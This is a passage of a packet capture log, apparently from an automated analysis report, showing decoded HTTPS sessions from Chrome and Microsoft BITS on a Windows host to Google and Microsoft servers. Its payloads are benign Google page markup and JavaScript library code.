74 5c 22 5c 75 30 30 33 65 Data Ascii: 28bc)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700312,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-12 05:23:13 UTC	1378	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\
2024-11-12 05:23:13 UTC	454	IN	Data Raw: 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 47 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 74 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 74 65 5b 64 5d 2c 63 29 3a 5f 2e 6f 65 28 64 2c 5c Data Ascii: )[0]\|\|null));return a\|\|null};\n_.ue\u003dfunction(a,b){_.Gb(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:te.hasOwnProperty(d)?a.setAttribute(te[d],c):_.oe(d,\
2024-11-12 05:23:13 UTC	349	IN	Data Raw: 31 35 36 0d 0a 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 76 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 62 5b 31 5d 2c 64 5c 75 30 30 33 64 5f 2e 77 65 28 61 2c Data Ascii: 156xlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.ve\u003dfunction(a){return a?a.defaultView:window};_.ye\u003dfunction(a,b){const c\u003db[1],d\u003d_.we(a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	142.250.185.100	443	7224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 05:23:13 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 05:23:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 05:23:13 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 05:23:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49726	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 05:23:18 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=213703 Date: Tue, 12 Nov 2024 05:23:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49729	142.250.181.238	443	7224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:18 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 05:23:18 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 11 Nov 2024 00:32:18 GMT Expires: Tue, 11 Nov 2025 00:32:18 GMT Cache-Control: public, max-age=31536000 Age: 103860 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 05:23:18 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-12 05:23:18 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 